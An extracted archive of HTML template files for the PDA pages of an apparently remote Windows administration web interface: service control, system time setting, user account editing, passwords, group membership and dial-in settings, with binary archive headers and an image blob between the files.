url += "&what=$SERVICE.WHAT$&idx=$REQ.IDX$&%RND%";
window.location.replace(url);
}
</script>
<?else?>
<table align=center width="100%">
<col width="30%" align="right">
<col align="left">
<tr>
<td align="right"><?&MSG.ADMIN.SERVICE.SHORT?>:</td>
<td><b><?&SERVICE.NAME?></b></td>
</tr>
<tr>
<td align="right"><?&TYPE?>:</td>
<td><?&MSG.ADMIN.SERVICE.TYPE:SERVICE.TYPE?></td>
</tr>
<tr>
<td valign="top" align="right"><?&MSG.ADMIN.SERVICE.BINARY?>:</td>
<td><?&SERVICE.PATH?></td>
</tr>
<?if SERVICE.PROCID?>
<tr>
<td align="right"><?&MSG.ADMIN.SERVICE.ID?>:</td>
<td><a href="/pda_procinfo.html?pid=%SERVICE.PROCID%&back=%TEMPLATE%%3fsvc%3d%REQ.SVC%"><?&SERVICE.PROCID?></a></td>
</tr>
<?endif?>
<tr>
<td align="right"><?&MSG.ADMIN.SERVICE.ERROR?>:</td>
<td><?&SERVICE.ERRCTL?></td>
</tr>
<?if SERVICE.DESCR?>
<tr>
<td valign="top" align="right"><?&MSG.DESC?>:</td>
<td><?&SERVICE.DESCR_mx80?></td>
</tr>
<?endif?>
<?if SERVICE.GROUP?>
<tr>
<td align="right"><?&MSG.ADMIN.SERVICE.LOADGROUP?>:</td>
<td><?&SERVICE.GROUP?></td>
</tr>
<?endif?>
<tr>
<td align="right"><?&MSG.ADMIN.SERVICE.START?>:</td>
<td><select name="startup">
<option value="auto"	 <?selected SERVICE.START = "auto"    ?>><?&MSG.ADMIN.SERVICE.START.auto?></option>
<option value="boot"	 <?selected SERVICE.START = "boot"    ?>><?&MSG.ADMIN.SERVICE.START.boot?></option>
<option value="manual"	 <?selected SERVICE.START = "manual"  ?>><?&MSG.ADMIN.SERVICE.START.manual?></option>
<?if SERVICE.WHAT = "drv" ?>
<option value="system"	 <?selected SERVICE.START = "system"  ?>><?&MSG.ADMIN.SERVICE.START.system?></option>
<?endif?>
<option value="disabled" <?selected SERVICE.START = "disabled"?>><?&MSG.ADMIN.SERVICE.START.disabled?></option>
</select></td>
</tr>
<tr>
<td align="right"><?&MSG.ADMIN.SERVICE.STATUS?>:</td>
<td><?&MSG.ADMIN.SERVICE.STATUS:SERVICE.STATUS?></td>
</tr>
</table>

<?if SERVICE.WHAT="svc" ?>
<table align=center width="100%">
<tr><td colspan="2"><input type="radio" name="sysaccount" <?checked SERVICE.USER = "LocalSystem"?> value="1">&nbsp;<?&MSG.ADMIN.SERVICE.LOCALSYSTEM?></td></tr>
<tr><td colspan="2">&nbsp;&nbsp;&nbsp;<input type="checkbox" name="interactive" <?checked SERVICE.INTERACTIVE ?>><?&MSG.ADMIN.SERVICE.INTERACTIVE?></td></tr>
<tr><td><input type="radio" name="sysaccount" value="0" <?checked SERVICE.USER != "LocalSystem"?>>&nbsp;<?&MSG.ADMIN.SERVICE.ACCOUNT?>:</td>
<td><input type="edit" name="account" size="15" value="<?if SERVICE.USER != "LocalSystem" ?><?&SERVICE.USER?><?endif?>"></td></tr>
<tr><td>&nbsp;&nbsp;&nbsp;<?&MSG.DIALOG.PWDENTRY?>:</td><td><input type="password" name="pass" size="15"></td></tr>
<tr><td>&nbsp;&nbsp;&nbsp;<?&MSG.DIALOG.PWDCONFIRM?>:</td><td><input type="password" name="passconf" size="15"></td></tr>
</table>
<?endif?>
<table>
<?if DEPENDENCIES ?>
<tr><th><?&MSG.ADMIN.SERVICE.DEPENDS.FWD?></th></tr>
<?enum DEPENDENCIES?>
<tr><td><a href="&TEMPLATE&?svc=%DEPENDENCY.NAME%&idx=%REQ.IDX%"><?&DEPENDENCY.DISPLAY?></a></td></tr>
<?next?>
<?endif?>
</table><br>
<table>
<?if DEPENDENTS ?>
<tr><th><?&MSG.ADMIN.SERVICE.DEPENDS.REV?></th></tr>
<?enum DEPENDENTS?>
<tr><td><a href="&TEMPLATE&?svc=%DEPENDENT.NAME%&idx=%REQ.IDX%"><?&DEPENDENT.DISPLAY?></a></td></tr>
<?next?>
<?endif?>
</table>
<center>
<input type="button" value="&MSG.DIALOG.APPLY&" onclick="setValues()">
<input type="button" value="&MSG.DIALOG.BACK&" onclick="history.go(-1)">
</center>
</form>
</body>
</html>
L PDA_svclist.html	e<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head>
<?include "title.inc"?>
<?include "table.inc"?>

</head>

<body>
<?
if REQ.CTRL // need to control service?
action "svcctrl" // send service control request
usemacro WINERRDLG() // show errors
endif
if REQ.START // need to set service attribs?
action "svcupdate"
usemacro WINERRDLG() // show errors
endif
// set default sorting rule
if not REQ.SORT
// by display name, ascending
set REQ.SORT = "da"
endif
usemacro LINECOUNT()
action "svclist"
usemacro WINERRDLG()
?>


<table bgColor=&PDATITLEBG& cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_manage.png?bg=%PDATITLEBG%" align="middle">&nbsp;<b><FONT color=white><?if REQ.WHAT="svc"?><?&MSG.ADMIN.SERVICE.TITLE?><?else?><?&MSG.ADMIN.SERVICE.DRVTITLE?><?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>
<center><?usemacro PAGEBAR("what")?></center>

<table id="slist" onselectstart="return false" border="1" cellpadding="2" cellspacing="0" width="100%" align=center>
<?if SERVICES?>
<thead>
<tr>
<th bgColor=#8abdf0>
<a href="&TEMPLATE&?what=%REQ.WHAT%&sort=<?if REQ.sort="da"?>dd<?else?>da<?endif?>"><b><FONT color=white>&NAME&</FONT></b>
<?if REQ.sort="da"?><img src="img/ico_asc.gif" border="0"><?endif?>
<?if REQ.sort="dd"?><img src="img/ico_desc.gif" border="0"><?endif?></a>
</th>
<th bgColor=#8abdf0>
<a href="&TEMPLATE&?what=%REQ.WHAT%&sort=<?if REQ.sort="sa"?>sd<?else?>sa<?endif?>"><b><FONT color=white>&MSG.ADMIN.SERVICE.STATUS&</FONT></b>
<?if REQ.sort="sa"?><img src="img/ico_asc.gif" border="0"><?endif?>
<?if REQ.sort="sd"?><img src="img/ico_desc.gif" border="0"><?endif?></a>
</th>
<th bgColor=#8abdf0><b><FONT color=white>&MSG.ADMIN.SERVICE.START&</FONT></b></th>
</tr>
</thead>
<tbody>
<?enum SERVICES?>
<tr ondblclick="doClick()" onclick="selected()"
onmouseover="showTip(event,stips[=ENUM.INDEX0=],false,'TR')" 
onmouseleave="hideTip(event)">

<td nowrap><a href="pda_service.html?svc=%SERVICE.NAME%&what=%REQ.WHAT%"><?&SERVICE.DISPLAY_mx22?></a></td>

<?switch SERVICE.START?>
<?case "manual","disabled"?><td nowrap align="center">
<?case default?><td nowrap align="center">
<?endswitch?>
<?&MSG.ADMIN.SERVICE.STATUS:SERVICE.STATUS?></td>
<td nowrap align="center"><?&MSG.ADMIN.SERVICE.START:SERVICE.START?></td>
</tr>
<?next?>
</tbody>
<?endif?>
</table>
</body>
</html>
[q)PDA_time.htmlZ
v,<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>
<?
if REQ.SUBMIT
action "timeset"
usemacro WINERRDLG()
endif
action "timeget" // this never generates an error
?>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_admin.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>&ADMIN.TIME.TITLE&</FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></table>
<table><tr><td><a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a></td></tr>
</table>


<center><br>
<form action="&TEMPLATE&" method="post">
<fieldset><br>
<?&ADMIN.TIME.CURRENT?>: <b><?&DATETIME _dtml?></b>
<br>
<br>
<table>
<tr><td align="right">&ADMIN.TIME.DATE&:</td><td><input type="text" name="datey" style="width:4em" value="&DATE.Y&" onchange="updDays();updTime()">.
<select name="datem" size="1" onchange="updDays();updTime()"></select>.
<select name="dated" size="1" onchange="updTime()"></select></td>
</tr>
<tr><td align="right">&ADMIN.TIME.TITLE&:</td><td><select name="timeh" size="1" onchange="updTime()"></select>:
<select name="timem" size="1" onchange="updTime()"></select>:
<select name="times" size="1" onchange="updTime()"></select></td>
</tr>
</table>
<br>
</fieldset>
<br>
<br>
<input type="submit" name="submit" value="&DIALOG.APPLY&" <?disabled ACTIONS hasnt "timeset"?>>
</form>
<script language="JavaScript">
var form = document.forms[0];
// client time when loaded
var ldc = new Date();
// server time when loaded
var lds = new Date(&DATE.Y&, &DATE.M&-1, &DATE.D&, &TIME.H&, &TIME.M&, &TIME.S&);
// initialize options
fill(form.datem, 1, 12, &DATE.M&);
fill(form.dated, 1, getDays(), &DATE.D&);
fill(form.timeh, 0, 23, &TIME.H&);
fill(form.timem, 0, 59, &TIME.M&);
fill(form.times, 0, 59, &TIME.S&);
// start clock
tick();
function updDays() {
fill(form.dated, 1, getDays(), getVal(form.dated));
}
function updTime() {
// read new server time from form
lds = new Date(
getVal(form.datey),
getVal(form.datem)-1,
getVal(form.dated),
getVal(form.timeh),
getVal(form.timem),
getVal(form.times));
}
function tick() {
// current client time
var cc = new Date();
// current server time
var cs = new Date(cc.getTime() - ldc.getTime() + lds.getTime());
// set time
setVal(form.timeh, cs.getHours());
setVal(form.timem, cs.getMinutes());
setVal(form.times, cs.getSeconds());
// set next tick
setTimeout(tick, 1000);
}
function setVal(sel, val) {
for (var i = 0; i < sel.options.length; i++) {
if (sel.options[i].text == val) {
sel.selectedIndex = i; return;
}
}
}
function getVal(sel) {
if (sel.name == "datey") return sel.value;
var opt = sel.options[sel.selectedIndex];
return (opt.value ? opt.value : opt.text);
}
function getDays() {
var yr = getVal(form.datey);
var mo = getVal(form.datem)-1;
var date = new Date(yr, mo, 1);
for (var i = 0; date.getMonth() == mo; i++)
date.setTime(date.getTime() + 24*60*60*1000);
return i;
}
function fill(sel, min, max, val) {
var opt = sel.options;
for (var i = min; i <= max; i++)
opt[i - min] = new Option(d2(i));
while (opt.length > max - min + 1)
opt[opt.length - 1] = null;
setVal(sel, val);
}
function d2(i) {
return (i < 10 ? "0" : "") + i;
}
</script>
</center>
</div>
</body>
</html>
ui"PDA_useredit.htmlLz<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "useredit"?>

<html>
<head>
<?include "title.inc"?>
<?include "dirtree.inc"?>
<?include "passsave.inc"?>
</head>

<body <?if OP="new"?>onload="document.forms.useredit.name.select();"<?endif?>>
<?
if OP="back"
redirect "/PDA_userlist.html?MSG=" MSG "&WINERRNUM=" WINERRNUM "&WINERRMSG=" WINERRMSG
elseif OP="changepwd"
redirect "/PDA_usereditchangepwd.html?name=" NAME "&WINERRNUM=" WINERRNUM "&WINERRMSG=" WINERRMSG
elseif OP="rename"
redirect "/PDA_usereditrename.html?name=" NAME "&WINERRNUM=" WINERRNUM "&WINERRMSG=" WINERRMSG
endif

usemacro WINERRDLG()
?>


<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/ico_user.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?if OP="new"?>&ADMIN.USERMANAGER.ADDUSER&<?else?><?if LORES?>&ADMIN.USERMANAGER.TITLE&<?else?>&ADMIN.USERMANAGER.EDITUSER&<?endif?><?endif?>
<?if MSG?> - &ADMIN.USERMANAGER:MSG&<?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<center>

<?if OP="new"?>
<script language="JavaScript"><!--
function checkParams(f) {
if (f.pwd.value != f.pwdconfirm.value) {
alert("$MSG.DIALOG.PWDMISMATCH$");
f.pwd.focus();
return false;
}
return true;
}
//--></script>
<?endif // OP="new" ?>

<form name=useredit action="&TEMPLATE&" method=post>
<input type=hidden name=OP value="&OP&">

<table>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.NAME&:</td>
<td>
<?if OP="new"?>
<input type="text" name=name value="&NAME&" maxlength=20 size=17>
<?else?>
<input type=hidden name=name value="&NAME&" size=17><b>&NAME&</b>
<?endif?>
</td>
</tr>

<?if OP="new"?>
<tr>
<td align="right">&MSG.DIALOG.PWDENTRY&:</td>
<td><input type=password name=pwd size=17></td>
</tr>
<tr>
<td align="right">&MSG.DIALOG.PWDCONFIRM&:</td>
<td><input type=password name=pwdconfirm size=17></td>
</tr>
<?endif // OP="new" ?>

<tr>
<td align="right">&ADMIN.USERMANAGER.USER.FULLNAME&:</td>
<td><input type="text" name=fullname value="&FULLNAME&" size=17></td>
</tr>
<tr>
<td align="right" valign="top">&ADMIN.USERMANAGER.USER.COMMENT&:</td>
<td><textarea name=comment rows=3 cols=15>&COMMENT&</textarea></td>
</tr>

</table>

<table>

<tr>
<td align="right">&ADMIN.USERMANAGER.USER.MUSTCHANGEPWD&</td>
<td><input type=checkbox name=mustchangepwd value=1 =MUSTCHANGEPWD=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.CANTCHANGEPWD&</td>
<td><input type=checkbox name=cantchangepwd value=1 =CANTCHANGEPWD=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.PWDNOTEXPIRES&</td>
<td><input type=checkbox name=pwdnotexpires value=1 =PWDNOTEXPIRES=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.DISABLED&</td>
<td><input type=checkbox name=disabled value=1 =DISABLED=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LOCKEDOUT&</td>
<td><input type=checkbox name=lockedout value=1 =LOCKEDOUT=></td>
</tr>

</table>

<table>

<tr>
<td align="right">&ADMIN.USERMANAGER.USER.HOMEDIR&:</td>
<td><input type="text" name=homedir value="&HOMEDIR&" size=15><?usemacro BrowseButton("document.forms[0].homedir.value")?></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.HOMEDRIVE&:</td>
<td><input type="text" name=homedrive value="&HOMEDRIVE&" size=15></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LOGONSCRIPT&:</td>
<td><input type="text" name=logonscript value="&LOGONSCRIPT&" size=15></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.PROFILE&:</td>
<td><input type="text" name=profile value="&PROFILE&" size=15><?usemacro BrowseButton("document.forms[0].profile.value")?></td>
</tr>

<?if OP="edit"?>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LASTLOGON&:</td>
<td><?&LASTLOGON _dtml?></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LASTLOGOFF&:</td>
<td><?&LASTLOGOFF _dtml?></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.ACCEXPIRE&:</td>
<td><?if ACCEXPIRE?><?&ACCEXPIRE _dtml?><?else?>&NEVER&<?endif?></td>
</tr>
<tr>
<td align="right" valign="top">&ADMIN.USERMANAGER.USER.PWDCHANGED&:</td>
<td><?&PWDCHANGED _dtml?><br>(<?&PWDCHANGED _ago?>)</td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.BADPWDCOUNT&:</td>
<td>&BADPWDCOUNT&</td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.LOGONCOUNT&:</td>
<td>&LOGONCOUNT&</td>
</tr>
<?endif // OP="edit" ?>

</table>
<br>

<?if OP="new"?>
<input type=submit value="&DIALOG.ADD&" onclick="this.form.OP.value='add'; return checkParams(this.form);">
<?else // OP="edit"?>
<?if ACCESS.W?>
<input type=submit value="&DIALOG.APPLY&" onclick="this.form.OP.value='update'">
<input type=button value="&ADMIN.USERMANAGER.BTNPWD&" onclick="location.replace('PDA_usereditchangepwd.html?name=$NAME$')">
<input type=button value="&ADMIN.USERMANAGER.BTNRENAME&" onclick="location.replace('PDA_usereditrename.html?name=$NAME$')">
<?endif?>

<?if ACCESS.D?>

<input type=submit value="&DIALOG.DELETE&" onclick="this.form.OP.value='delete'; return confirm('$ADMIN.USERMANAGER.CONFIRMDELUSERSHORT$');">

<?endif?>
<?endif // OP="new" | "edit" ?>

<?if OP="edit"?>		
<input type=button value="&ADMIN.USERMANAGER.USER.BTNGROUPS&" onclick="location.replace('PDA_usereditgroups.html?name=$NAME$')">
<?if ISNTSRV?><input type=button value="&ADMIN.USERMANAGER.USER.BTNDIALIN&" onclick="location.replace('PDA_usereditdialin.html?name=$NAME$')"><?endif?>
<?endif?>

<input type=button value="&DIALOG.BACK&" onclick="location.replace('/PDA_userlist.html?$RND$')">

</form>
</center>
</body>
</html>
3w4PDA_usereditchangepwd.htmlȂ<?ratmpl?>
<?nocache?>
<?include "macros.html"?>

<html>
<head>
<?include "title.inc"?>
<?include "passsave.inc"?>
</head>

<body onload="document.forms.changepwd.pwd.focus()">
<?
if REQ.WINERRNUM
set WINERRNUM=REQ.WINERRNUM
set WINERRMSG=REQ.WINERRMSG
endif

usemacro WINERRDLG()
?>

<script language="JavaScript"><!--
function checkParams(f) {
if (f.pwd.value != f.pwdconfirm.value) {
alert("$MSG.DIALOG.PWDMISMATCH$");
f.pwd.focus();
return false;
}

return true;
}
//--></script>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/ico_user.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?if LORES?>&ADMIN.USERMANAGER.BTNPWD&
<?else?>&ADMIN.USERMANAGER.CHANGEPWD&<?if REQ.MSG?> - &ADMIN.USERMANAGER:REQ.MSG&<?endif?><?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<center>
<br>

<form name=changepwd action="PDA_useredit.html" method=post>
<input type=hidden name=name value="&REQ.NAME&">
<input type=hidden name=OP value=changepwd>

<table>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.NAME&:</td>
<td><b>&REQ.NAME&</b></td>
</tr>
<tr>
<td align="right">&MSG.DIALOG.PWDENTRY&:</td>
<td><input type=password name=pwd></td>
</tr>
<tr>
<td align="right">&MSG.DIALOG.PWDCONFIRM&:</td>
<td><input type=password name=pwdconfirm></td>
</tr>
</table>
<br>
<table>		
<tr>
<td><input type=submit value="&MSG.DIALOG.APPLY&" onclick="return checkParams(this.form);"></td>
<td><input type=button value="&MSG.DIALOG.BACK&" onclick="location.replace('/PDA_useredit.html?OP=edit&name=$REQ.NAME$')"></td>
</tr>
</table>
</form>

</center>
</body>
</html>
GJ..PDA_usereditdialin.html=<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "usereditdialin"?>

<html>
<head>
<?include "title.inc"?>
</head>

<body>

<?usemacro WINERRDLG()?>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/ico_user.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>&ADMIN.USERMANAGER.USER.EDITDIALIN&<?if MSG?> - &ADMIN.USERMANAGER:MSG&<?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>

<center>

<form action="&TEMPLATE&" method=get>
<input type=hidden name=NAME value="&NAME&">
<input type=hidden name=OP value=update>

<table width="100%" align=center>
<tr>
<td colspan="2" align="center">&ADMIN.USERMANAGER.USER.ALLOWDIALIN&:<input type=checkbox name=dialingrant value=1 =DIALINGRANT=></td>
</tr>

<tr><td colspan="2">

<table width="100%">
<tr>
<td <?if LORES?>colspan=2<?else?>align="right"<?endif?>>&ADMIN.USERMANAGER.USER.CALLBACKNO&<?if not LORES?></td>
<td><?endif?><input type=radio name=callback value=0 =CALLBACK0=></td>
</tr>
<tr>
<td <?if LORES?>colspan=2<?else?>align="right"<?endif?>>&ADMIN.USERMANAGER.USER.CALLBACKBYCALLER&<?if not LORES?></td>
<td><?endif?><input type=radio name=callback value=1 =CALLBACK1=></td>
</tr>
<tr>
<td <?if LORES?>colspan=2<?else?>align="right"<?endif?>>&ADMIN.USERMANAGER.USER.CALLBACKPRESET&<?if not LORES?></td>
<td><?endif?><input type=radio name=callback value=2 =CALLBACK2=></td>
</tr>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.CALLBACKNUMBERPRESET&:</td>
<td><input type=text name=preset value="&PRESET&" maxlength=128 size=13></td>
</table>

</td></tr>
</table>
<br>
<table>
<tr>
<?if ACCESS.W?><td><input type=submit value="&DIALOG.APPLY&"></td><?endif?>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/PDA_useredit.html?OP=edit&name=$NAME$')"></td>
</tr>
</table>
</form>

</center>
</body>
</html>
ʙ.PDA_usereditgroups.htmle<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "usereditgroups"?>

<html>
<head>
<?include "title.inc"?>
</head>


<body>


<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/ico_user.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>
<?if LORES?>&ADMIN.USERMANAGER.TITLE&
<?else?>&ADMIN.USERMANAGER.USER.EDITGROUPS&<?if MSG?> - &ADMIN.USERMANAGER:MSG&<?endif?><?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></tr>
</table>

<center>

<?usemacro WINERRDLG()?>

<form action="&TEMPLATE&" method=get>
<input type=hidden name=NAME value="&NAME&">
<input type=hidden name=OP value=update>

<table>
<tr>
<td>&ADMIN.USERMANAGER.USER.NAME&:&nbsp;<b>&NAME&</b></td>
</tr>

<tr>
<td>&ADMIN.USERMANAGER.USER.MEMBER&:</td>

</tr>

<tr>
<td>
<select name=DEL size=3 multiple>

<?if MEMBERL?><?enum MEMBERL?>
<option value="l&GROUP.NAME&">(&ADMIN.USERMANAGER.LGROUPNAME&) &GROUP.NAME&</option>
<?next?><?endif?>

<?if MEMBERG?><?enum MEMBERG?>
<option value="g&GROUP.NAME&">(&ADMIN.USERMANAGER.GGROUPNAME&) &GROUP.NAME&</option>
<?next?><?endif?>

</select>
</td>
</tr><tr><td>&ADMIN.USERMANAGER.USER.NONMEMBER&:</td></tr><tr>
<td>
<select name=ADD size=10 multiple>

<?if NONMEMBERL?><?enum NONMEMBERL?>
<font size=0><option value="l&GROUP.NAME&">(&ADMIN.USERMANAGER.LGROUPNAME&) &GROUP.NAME&</option></font>
<?next?><?endif?>

<?if NONMEMBERG?><?enum NONMEMBERG?>
<option value="g&GROUP.NAME&">(&ADMIN.USERMANAGER.GGROUPNAME&) &GROUP.NAME&</option>
<?next?><?endif?>

</select>
</td>
</tr>
</table>
<br>
<table>
<tr>
<?if ACCESS.W?><td><input type=submit value="&DIALOG.APPLY&"></td><?endif?>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/PDA_useredit.html?OP=edit&name=$NAME$')"></td>
</tr>
</table>
</form>
</center>
</body>
</html>
v.PDA_usereditrename.htmlX<?ratmpl?>
<?nocache?>
<?include "macros.html"?>

<html>
<head>
<?include "title.inc"?>
</head>
<body onload="document.forms.rename.newname.select()">

<?
if REQ.WINERRNUM
set WINERRNUM=REQ.WINERRNUM
set WINERRMSG=REQ.WINERRMSG
endif

usemacro WINERRDLG()
?>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/ico_user.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white>
<?if LORES?>&ADMIN.USERMANAGER.BTNRENAME&
<?else?>&ADMIN.USERMANAGER.USER.RENAME&<?if REQ.MSG?> - &ADMIN.USERMANAGER:REQ.MSG&<?endif?><?endif?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td></tr>
</table>

<center>

<br>

<form name=rename action="PDA_useredit.html" method=get>
<input type=hidden name=name value="&REQ.NAME&">
<input type=hidden name=OP value=rename>

<table>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.NAME&:</td>
<td><b>&REQ.NAME&</b></td>
</tr>
<tr>
<td>&ADMIN.USERMANAGER.NEWNAME&:</td>
<td><input type=text name=newname value="$REQ.NAME$" maxlength=20></td>
</tr>
</table>

<br>

<table>
<tr>
<td><input type=submit value="&DIALOG.APPLY&"></td>
<td><input type=button value="&DIALOG.BACK&" onclick="location.replace('/PDA_useredit.html?OP=edit&name=$REQ.NAME$')"></td>
</tr>
</table>
</form>

</center>
</body>
</html>
F"PDA_userlist.html|
E<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "title.inc"?>
</head>

<body>

<?
usemacro LINECOUNT()
action "userlist"
usemacro WINERRDLG()

if MSG
&ADMIN.USERMANAGER:MSG&
endif
?>


<?if REQ.TAB = 1
set REQ.WHAT = "groups"
endif
if REQ.WHAT = ""
set REQ.WHAT = "users"
endif?>

<table bgColor=#2a669a cellpadding="0" cellspacing="0" border=0 width="100%"><tr>
<td valign="center"><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="middle">&nbsp;<b><FONT color=white><?&ADMIN.USERMANAGER.TITLE?></FONT></b></td>
<td align=right><?usemacro PDANAV()?></td>
</tr></table>
<table width="100%"><td align=center><select onchange="window.location='%TEMPLATE%?what='+this.options[this.selectedIndex].value" ID="Select1" NAME="Select1">
<option value="users"  <?selected REQ.what!="groups"?>>&ADMIN.USERMANAGER.USERS&
<option value="groups" <?selected REQ.what=="groups"?>>&ADMIN.USERMANAGER.GROUPS&
</select>
</td>
</table>


<?usemacro PAGEBAR("")?>

<?endif?>

<?if REQ.what!="groups"?>
<table align=center width="100%" border=1 cellpadding=2 cellspacing=0>
<tr>
<TD colSpan=2 align=center bgcolor="#2a669a"><font color=white><b>&ADMIN.USERMANAGER.USER.NAME&</b></font></TD>
</tr>

<?enum USERS?>
<tr>
<td>&nbsp;
<?if USER.DISABLED="1"?>
<img src="img/ico_user_disabled.png?bg=%COLOR.DlgBack%">
<?else?>
<img src="img/ico_user.png?bg=%COLOR.DlgBack%">
<?endif?>&nbsp;
</td>

<td><a href="PDA_useredit.html?op=edit&name=%USER.NAME%"<?if USER.FULLNAME?> onmouseover="showTip(event,'$ADMIN.USERMANAGER.USER.FULLNAME$: $USER.FULLNAME$',false,'A')" onmouseleave="hideTip(event)"<?endif?>>&USER.NAME&</a>&nbsp;</td>
</tr>
<?next?>
</table>
<br>
<?if ACCESS.W?>
<table width="100%"><tr><td align=center><input type=button value="&ADMIN.USERMANAGER.USER.ADD&" onclick="location.replace('PDA_useredit.html?op=new')"></td></tr></table>
<?endif?>
<?endif?>


<?if REQ.what != "users"?>


<table onselectstart="return false" width="100%" align=center border=1 cellpadding=2 cellspacing=0>
<?if GROUPS?>
<tr>
<TD colSpan=2 align=center bgcolor="#2a669a"><font color=white>><b>&ADMIN.USERMANAGER.LGROUPNAME&</b></font></TD>
</tr>

<?enum GROUPS?>
<tr>
<td class="ico16"><img src="img/ico_group.png?bg=%COLOR.DlgBack%"></td>
<td><a href="PDA_groupedit.html?type=LOCAL&name=%GROUP.NAME%">&GROUP.NAME&</a></td>

</tr>
<?next?>
<?endif // GROUPS?>

<?if GGROUPS?>
<!-- Global GROUP LIST -->
<tr>
<th width=16px>&nbsp;</th>
<th>&ADMIN.USERMANAGER.GGROUPNAME&</th>
<th colspan=2>&ADMIN.USERMANAGER.GROUP.COMMENT&</th>
</tr>

<?enum GGROUPS?>
<tr>
<td><img src="img/ico_group.png?bg=%COLOR.DlgBack%"></td>
<td><a href="PDA_groupedit.html?type=GLOBAL&name=%GGROUP.NAME%">&GGROUP.NAME&</a></td>
<td colspan=2>&GGROUP.COMMENT&</td>
</tr>
<?next?>
<?endif // GGROUPS?>
</table>
<br>
<?if ACCESS.W?>
<center><br>
<?if ISDC?>
<input type=button value="&ADMIN.USERMANAGER.GROUP.BTNADD.GLOBAL&" onclick="location.replace('PDA_groupadd.html?type=global')" ID="Button5" NAME="Button3">
<?else?>
<input type=button value="&ADMIN.USERMANAGER.GROUP.BTNADD.LOCAL&" onclick="location.replace('PDA_groupadd.html?type=local')" ID="Button2" NAME="Button2">
<?endif?>
</center>
<?endif?>

<?endif?>

<!-- select tab-->
<?if REQ.TAB?>
<script language="JavaScript">
tp1.setSelectedIndex(&REQ.TAB&);
</script>
<?endif?>


</body>
</html>
perfchart.bmp/BM6(~mBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBqperfmboard.html`<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?action "mbminfo"?>
<div class="window">
<div class="titleBar"><img src="img/menu_perf.png?bg=%COLOR.CapBack%" align="absmiddle">&nbsp;&MSG.PERF.MBOARD.TITLE&</div>
<div class="buttonBar">
<div class="buttonGroup">
